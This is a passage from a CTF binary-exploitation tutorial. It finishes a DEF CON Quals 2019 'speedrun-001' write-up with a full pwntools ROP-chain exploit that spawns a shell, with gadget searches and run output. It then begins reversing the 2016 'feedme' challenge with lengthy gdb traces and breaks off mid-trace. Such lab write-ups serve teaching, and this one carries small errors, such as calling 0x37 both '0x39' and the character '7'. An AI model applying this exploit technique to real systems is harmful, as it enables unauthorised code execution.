We will be making a rop chain to make a `sys_execve` syscall to execute `/bin/sh` to give us a shell. Looking at the chart posted earlier, we can see the values it expects. With that we know that we need the following registers to have the following values. We aren't too worried about the arguments or environment variables we pass to it, so we can just leave those `0x0` (null) to mean no arguments / environment variables:

```
rax:    59    Specify         sys_execve
rdi:    ptr to "/bin/sh"    specify file to execute
rsi:    0                    specify no arguments passed
rdx:    0                    specify no environment variables passed
```

Now our ROP Chain will have three parts. The first will be to write `/bin/sh` somewhere in memory, and move the pointer to it into the `rdi` register. The second will be to move the necessary values into the other three registers. The third will be to make the syscall itself. Other than finding the gadgets to execute, the only thing we need to really do prior to writing the exploit is finding a place in memory to write `/bin/sh`. Let's check the memory mappings while the elf is running to see what we have to work with:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /Hackery
/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /Hackery
/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/10g 0x6b6000
0x6b6000:    0x0    0x0
0x6b6010:    0x0    0x0
0x6b6020:    0x0    0x0
0x6b6030:    0x0    0x0
0x6b6040:    0x0    0x0
```

Looking at this, the elf memory region between `0x6b6000 - 0x6bc000` looks pretty good. I'll probably go with the address `0x6b6000`. There are a few reasons why I choose this. The first is that it is from the elf's memory space that doesn't have PIE, so we know what the address is without an infoleak. In addition to that, the permissions are `rw` so we can read and write to it. Also there doesn't appear to be anything stored there at the moment, so it probably won't mess things up if we store it there. Also let's find the offset between the start of our input and the return address using the same method I've used before:

```
gef➤  b *0x400b90
Breakpoint 1 at 0x400b90
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals19_speedrun1
/speedrun-001
Hello brave new challenger
Any last words?
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x9
$rbx   : 0x0000000000400400  →   sub rsp, 0x8
$rcx   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x7d0
$rsp   : 0x00007fffffffda30  →  "15935728"
$rbp   : 0x00007fffffffde30  →  0x00007fffffffde50  →  0x0000000000401900  →
push r15
$rsi   : 0x00007fffffffda30  →  "15935728"
$rdi   : 0x0
$rip   : 0x0000000000400b90  →   lea rax, [rbp-0x400]
$r8    : 0xf
$r9    : 0x0
$r10   : 0x000000000042ad40  →   pslldq xmm2, 0x4
$r11   : 0x246
$r12   : 0x00000000004019a0  →   push rbp
$r13   : 0x0
$r14   : 0x00000000006b9018  →  0x0000000000440ea0  →   mov rcx, rsi
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda30│+0x0000: "15935728"     ← $rsp, $rsi
0x00007fffffffda38│+0x0008: 0x000000000000000a
0x00007fffffffda40│+0x0010: 0x0000000000000000
0x00007fffffffda48│+0x0018: 0x0000000000000000
0x00007fffffffda50│+0x0020: 0x0000000000000000
0x00007fffffffda58│+0x0028: 0x0000000000000000
0x00007fffffffda60│+0x0030: 0x0000000000000000
0x00007fffffffda68│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400b83                  mov    rsi, rax
     0x400b86                  mov    edi, 0x0
     0x400b8b                  call   0x4498a0
 →   0x400b90                  lea    rax, [rbp-0x400]
     0x400b97                  mov    rsi, rax
     0x400b9a                  lea    rdi, [rip+0x919b7]        # 0x492558
     0x400ba1                  mov    eax, 0x0
     0x400ba6                  call   0x40f710
     0x400bab                  nop
───────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped, reason: BREAKPOINT
```

```
──────────────────────────────────────────────────── trace ────
[#0] 0x400b90 → lea rax, [rbp-0x400]
[#1] 0x400c1d → mov eax, 0x0
[#2] 0x4011a9 → mov edi, eax
[#3] 0x400a5a → hlt
───────────────────────────────────────────────────────────────
```

```
Breakpoint 1, 0x0000000000400b90 in ?? ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffda30 - 0x7fffffffda38  →   "15935728"
gef➤  i f
Stack level 0, frame at 0x7fffffffde40:
 rip = 0x400b90; saved rip = 0x400c1d
 called by frame at 0x7fffffffde60
 Arglist at 0x7fffffffda28, args:
 Locals at 0x7fffffffda28, Previous frame's sp is 0x7fffffffde40
 Saved registers:
  rbp at 0x7fffffffde30, rip at 0x7fffffffde38
```

So we can see that the offset is `0x7fffffffde38 - 0x7fffffffda30 = 0x408` bytes. With that, the last thing we need is to find the ROP gadgets we will use. This time we will be using a utility called `ROPgadget` from https://github.com/JonathanSalwan/ROPgadget. This will just be a python script which will give us gadgets for a binary we give it. First let's just get four gadgets to just pop values into the four registers we need:

```
$    python ROPgadget.py --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a8901 ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf
```

So we found our four gadgets at the addresses `0x415664`, `0x400686`, `0x4101f3`, and

`0x4498b5` . Next we will need a gadget which will write the string `/bin/sh` somewhere to memory. For this I looked through all of the gadgets with a `mov` instruction:

```
$    python ROPgadget.py --binary speedrun-001 | grep "mov" | less
```

Looking through the giant list, this one seems like it would fit our needs perfectly:

```
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
```

This gadget will allow us to write an `8` byte value stored in `rdx` to whatever address is pointed to by the `rax` register. In addition it's kind of convenient since we can use the four gadgets we found earlier to prep this write. Lastly we just need to find a gadget for `syscall` :

```
$    python ROPgadget.py --binary speedrun-001 | grep ": syscall"
0x000000000040129c : syscall
```

Keep in mind that our ROP chain is comprised of addresses to instructions, and not the instructions themselves. So we will overwrite the return address with the first gadget of the ROP chain, and when it returns it will keep on going down the chain until we get our shell. Also for moving values into registers, we will store those values on the stack in the ROP Chain, and they will just be popped off into the regisets. Putting it all together we get the following exploit:

```
from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
```

```
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './speedrun-001': pid 12189
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say:
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
\x98D
$ w
 03:19:37 up 13:12,  1 user,  load average: 0.51, 0.97, 0.88
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               Wed14   ?xdm?  14:26   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
exploit.py  readme.md  speedrun-001
```

Just like that, we popped a shell!

defcon quals 2016 feedme

This is based off of a Raytheon SI Govs talk.

Let's take a look at the binary:

```
$    pwn checksec feedme
[*] '/Hackery/pod/modules/bof_static/dcquals16_feedme/feedme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
linked, for GNU/Linux 2.6.24, stripped
$    ./feedme
FEED ME!
15935728
000000000000000000000000000000000000000000000000000000000000000000
ATE 353933353732380a3030303030303030...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
15935728
```

So we can see that we are dealing with a 32 bit statically linked binary, with a Non-Executable stack. When we run it, the program prompts us with `FEED ME!` and we can give input. We also see that we are able to overwrite a stack canary, so we probably have a stack buffer overflow somewhere. In addition to that, when it detected that the stack canary was overwritten it terminated the process, however continued asking us for input. The binary is probably designed in such a way that it spawns child processes which is where we scan in the input and overwrite the stack canary. That way when the program sees that the stack canary has been edited and terminates the process, the parent process spawns another instance and continues asking us for input. Also one more thing, the reason why pwntools says it doesn't have a stack canary is because pwntools looks for a libc call that due to how it was compiled it isn't maid.

Reversing

Looking for the references to the string `FEED ME!` , we find this:

```
uint feedMeFunc(void)

{
  byte size;
  undefined4 ptr;
  uint result;
  int in_GS_OFFSET;
  undefined input [32];
  int canary;

  canary = *(int *)(in_GS_OFFSET + 0x14);
  puts("FEED ME!");
  size = getInt();
  scanInMemory(input,(uint)size);
  ptr = FUN_08048f6e(input,(uint)size,0x10);
  printf("ATE %s\n",ptr);
  result = (uint)size;
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
    result = canaryFail();
  }
  return result;
}
```

So we can see it starts off by establishing the stack canary. Proceeding that we call a function called `puts` (I say that it is puts because it takes in a string ptr like puts and prints it, I didn't really look at what the function was doing other than that). Proceeding that it calls the `getInt` function which prompts the user for input, and returns the first byte of the input as an integer. Proceeding that we can see that the function scanInMemory is called. The arguments for that are `input` and `size`. Using a bit of dynamic analysis we can see that the amount of bytes that `scanInMemory` is equivalent to `size`. Also dynamic analysis also tells us that `FUN_08048f6e` just returns a pointer to 16 bytes of our input. Let's look at this in gdb.

First we set gdb to follow the child process on forks, since that is where this code is ran. Also we set breakpoints for the functions `getInt`, `scanInMemory`, and `FUN_08048f6e`:

```
gef➤  set follow-fork-mode child
gef➤  show follow-fork mode
Debugger response to a program call of fork or vfork is "child".
gef➤  b *0x8049053
Breakpoint 1 at 0x8049053
gef➤  b *0x8049069
Breakpoint 2 at 0x8049069
gef➤  b *0x8049084
Breakpoint 3 at 0x8049084
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals16_feedme/feedme
[New process 14709]
FEED ME!
[Switching to process 14709]
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x9
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0x080eb4d4  →  0x00000000
$edx   : 0x9
$esp   : 0xffffcfd0  →  0x080be70c  →  "FEED ME!"
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049053  →  0xfffdeae8  →  0x00000000
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────
stack ────
0xffffcfd0│+0x0000: 0x080be70c  →  "FEED ME!"     ← $esp
0xffffcfd4│+0x0004: 0x00000000
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x080ea248  →  0x080eb4d4  →  0x00000000
0xffffcfec│+0x001c: 0x00000000
───────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8049041                  add    BYTE PTR [ecx-0x3fce0bbb], cl
    0x8049047                  mov    DWORD PTR [esp], 0x80be70c
    0x804904e                  call   0x804fc60
 →  0x8049053                  call   0x8048e42
   ↳   0x8048e42                  push   ebp
       0x8048e43                  mov    ebp, esp
       0x8048e45                  sub    esp, 0x28
       0x8048e48                  mov    DWORD PTR [esp+0x8], 0x1
       0x8048e50                  lea    eax, [ebp-0xd]
       0x8048e53                  mov    DWORD PTR [esp+0x4], eax
───────────────────────────────────────────────────────────────────────────
```

```
arguments (guessed) ────
0x8048e42 (
)
──────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8049053 → call 0x8048e42
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
──────────────────────────────────────────────────────────────────────────────

Thread 2.1 "feedme" hit Breakpoint 1, 0x08049053 in ?? ()
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x9
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0x080eb4d4  →  0x00000000
$edx   : 0x9
$esp   : 0xffffcfcc  →  0x08049058  →   mov BYTE PTR [ebp-0x2d], al
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08048e42  →   push ebp
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────────────
stack ────
0xffffcfcc│+0x0000: 0x08049058  →   mov BYTE PTR [ebp-0x2d], al     ← $esp
0xffffcfd0│+0x0004: 0x080be70c  →  "FEED ME!"
0xffffcfd4│+0x0008: 0x00000000
0xffffcfd8│+0x000c: 0x00000000
0xffffcfdc│+0x0010: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x001c: 0x080ea248  →  0x080eb4d4  →  0x00000000
──────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8048e31                  call   0x804fc60
    0x8048e36                  mov    DWORD PTR [esp], 0x1
    0x8048e3d                  call   0x804ed20
 →  0x8048e42                  push   ebp
    0x8048e43                  mov    ebp, esp
    0x8048e45                  sub    esp, 0x28
    0x8048e48                  mov    DWORD PTR [esp+0x8], 0x1
    0x8048e50                  lea    eax, [ebp-0xd]
    0x8048e53                  mov    DWORD PTR [esp+0x4], eax
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x8048e42 → push ebp
[#1] 0x8049058 → mov BYTE PTR [ebp-0x2d], al
[#2] 0x80490dc → movzx eax, al
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
```

```
0x08048e42 in ?? ()
gef➤  finish
Run till exit from #0  0x08048e42 in ?? ()
75395128
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0x37
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000137
$edx   : 0x1
$esp   : 0xffffcfd0  →  0x080be70c  →  "FEED ME!"
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049058  →   mov BYTE PTR [ebp-0x2d], al
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0x080be70c  →  "FEED ME!"     ← $esp
0xffffcfd4│+0x0004: 0x00000000
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x080ea248  →  0x080eb4d4  →  0x00000000
0xffffcfec│+0x001c: 0x00000000
```

```
code:x86:32 ────
    0x8049047                  mov    DWORD PTR [esp], 0x80be70c
    0x804904e                  call   0x804fc60
    0x8049053                  call   0x8048e42
 →  0x8049058                  mov    BYTE PTR [ebp-0x2d], al
    0x804905b                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x804905f                  mov    DWORD PTR [esp+0x4], eax
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
    0x8049069                  call   0x8048e7e
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
```

```
trace ────
[#0] 0x8049058 → mov BYTE PTR [ebp-0x2d], al
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
```

```
0x08049058 in ?? ()
gef➤  5395128
Undefined command: "5395128".  Try "help".
gef➤  p $al
$1 = 0x37
```

For the `getInt` function, we see that we passed it the string `75395128`, and it returned to us `0x39` (which corresponds to the ascii character `7`):

```
gef➤  c
Continuing.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0xffffcfec  →  0x00000000
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000137
$edx   : 0x1
$esp   : 0xffffcfd0  →  0xffffcfec  →  0x00000000
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049069  →  0xfffe10e8  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →  0x00000000     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x804905f                  mov    DWORD PTR [esp+0x4], eax
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
 →  0x8049069                  call   0x8048e7e
   ↳   0x8048e7e                  push   ebp
       0x8048e7f                  mov    ebp, esp
       0x8048e81                  sub    esp, 0x28
       0x8048e84                  mov    eax, DWORD PTR [ebp+0xc]
       0x8048e87                  mov    DWORD PTR [ebp-0x14], eax
       0x8048e8a                  mov    DWORD PTR [ebp-0x10], 0x0
─────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
0x8048e7e (
)
─────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8049069 → call 0x8048e7e
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
```

```
[#4] 0x8048d2b → hlt
```

```
Thread 2.1 "feedme" hit Breakpoint 2, 0x08049069 in ?? ()
gef➤  x/2w $esp
0xffffcfd0:    0xffffcfec    0x37
gef➤  x/40w 0xffffcfec
0xffffcfec:    0x0    0x2710    0x0    0x0
0xffffcffc:    0x0    0x80ea0a0    0x0    0x0
0xffffd00c:    0x44aff700    0x0    0x80ea00c    0xffffd048
0xffffd01c:    0x80490dc    0x80ea0a0    0x0    0x80ed840
0xffffd02c:    0x804f8b4    0x0    0x0    0x0
0xffffd03c:    0x80481a8    0x80481a8    0x0    0xffffd068
0xffffd04c:    0x80491da    0x80ea0a0    0x0    0x2
0xffffd05c:    0x0    0x0    0x80ea00c    0x8049970
0xffffd06c:    0x80493ba    0x1    0xffffd0f4    0xffffd0fc
0xffffd07c:    0x0    0x0    0x80481a8    0x0
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0xffffcfec  →  0x00000000
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfbb  →  0x00000137
$edx   : 0x1
$esp   : 0xffffcfcc  →  0x0804906e  →   movzx eax, BYTE PTR [ebp-0x2d]
$ebp   : 0xffffd018  →  0xffffd048  →  0xffffd068  →  0x08049970  →   push ebx
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08048e7e  →   push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfcc│+0x0000: 0x0804906e  →   movzx eax, BYTE PTR [ebp-0x2d]     ← $esp
0xffffcfd0│+0x0004: 0xffffcfec  →  0x00000000
0xffffcfd4│+0x0008: 0x00000037 ("7"?)
0xffffcfd8│+0x000c: 0x00000000
0xffffcfdc│+0x0010: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0014: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0018: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x001c: 0x370ea248
```

```
code:x86:32 ────
    0x8048e78                  movzx  eax, BYTE PTR [ebp-0xd]
    0x8048e7c                  leave
    0x8048e7d                  ret
 →  0x8048e7e                  push   ebp
    0x8048e7f                  mov    ebp, esp
    0x8048e81                  sub    esp, 0x28
    0x8048e84                  mov    eax, DWORD PTR [ebp+0xc]
    0x8048e87                  mov    DWORD PTR [ebp-0x14], eax
```

```
    0x8048e8a                  mov    DWORD PTR [ebp-0x10], 0x0
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x8048e7e → push ebp
[#1] 0x804906e → movzx eax, BYTE PTR [ebp-0x2d]
[#2] 0x80490dc → movzx eax, al
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
```

```
0x08048e7e in ?? ()
gef➤  finish
Run till exit from #0  0x08048e7e in ?? ()
0000000000000000000000000000000000000000000000000000000
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0x37
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"0000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
$esp   : 0xffffcfd0  →  0xffffcfec  →
"0000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x0804906e  →   movzx eax, BYTE PTR [ebp-0x2d]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"0000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "0000000000000000000000000000000000000000000000000[...]"
```

```
code:x86:32 ────
    0x8049063                  lea    eax, [ebp-0x2c]
    0x8049066                  mov    DWORD PTR [esp], eax
    0x8049069                  call   0x8048e7e
 →  0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
    0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
```

```
    0x804907e                    lea    eax, [ebp-0x2c]
    0x8049081                    mov    DWORD PTR [esp], eax
    0x8049084                    call   0x8048f6e
```

```
threads ────
[#0] Id 1, Name: "feedme", stopped, reason: TEMPORARY BREAKPOINT
```

```
trace ────
[#0] 0x804906e → movzx eax, BYTE PTR [ebp-0x2d]
```

```
0x0804906e in ?? ()
gef➤  0
Undefined command: "0".  Try "help".
gef➤  x/40w 0xffffcfec
0xffffcfec:    0x30303030    0x30303030    0x30303030    0x30303030
0xffffcffc:    0x30303030    0x30303030    0x30303030    0x30303030
0xffffd00c:    0x30303030    0x30303030    0x30303030    0x30303030
0xffffd01c:    0x30303030    0x8303030    0x0    0x80ed840
0xffffd02c:    0x804f8b4    0x0    0x0    0x0
0xffffd03c:    0x80481a8    0x80481a8    0x0    0xffffd068
0xffffd04c:    0x80491da    0x80ea0a0    0x0    0x2
0xffffd05c:    0x0    0x0    0x80ea00c    0x8049970
0xffffd06c:    0x80493ba    0x1    0xffffd0f4    0xffffd0fc
0xffffd07c:    0x0    0x0    0x80481a8    0x0
```

We can see that the `scanInMemory` function took two arguments, which were the output of `getInt` and a stack pointer. It scanned in `size` amount of bytes into the pointer it was passed. Also even though the function was passed `0x37` as a size, I gave it `0x38` bytes worth of `0` (`0x30`) just to lend more evidence to how I thought this worked:

```
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0x37
$ebx   : 0x080481a8  →   push ebx
$ecx   : 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$edx   : 0x37
$esp   : 0xffffcfd0  →  0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"
$ebp   : 0xffffd018  →  0x30303030 ("0000"?)
$esi   : 0x0
$edi   : 0x080ea00c  →  0x08067f90  →   mov edx, DWORD PTR [esp+0x4]
$eip   : 0x08049072  →   mov DWORD PTR [esp+0x8], 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcfd0│+0x0000: 0xffffcfec  →
"00000000000000000000000000000000000000000000000000[...]"     ← $esp
0xffffcfd4│+0x0004: 0x00000037 ("7"?)
0xffffcfd8│+0x0008: 0x00000000
0xffffcfdc│+0x000c: 0x0806ccb7  →   sub esp, 0x20
0xffffcfe0│+0x0010: 0x080ea200  →  0xfbad2887
0xffffcfe4│+0x0014: 0x080ea247  →  0x0eb4d40a
0xffffcfe8│+0x0018: 0x370ea248
0xffffcfec│+0x001c: "00000000000000000000000000000000000000000000000000[...]"
```

```
code:x86:32 ────
    0x8049066                  mov    DWORD PTR [esp], eax
    0x8049069                  call   0x8048e7e
    0x804906e                  movzx  eax, BYTE PTR [ebp-0x2d]
 →  0x8049072                  mov    DWORD PTR [esp+0x8], 0x10
    0x804907a                  mov    DWORD PTR [esp+0x4], eax
    0x804907e                  lea    eax, [ebp-0x2c]
    0x8049081                  mov    DWORD PTR [esp], eax
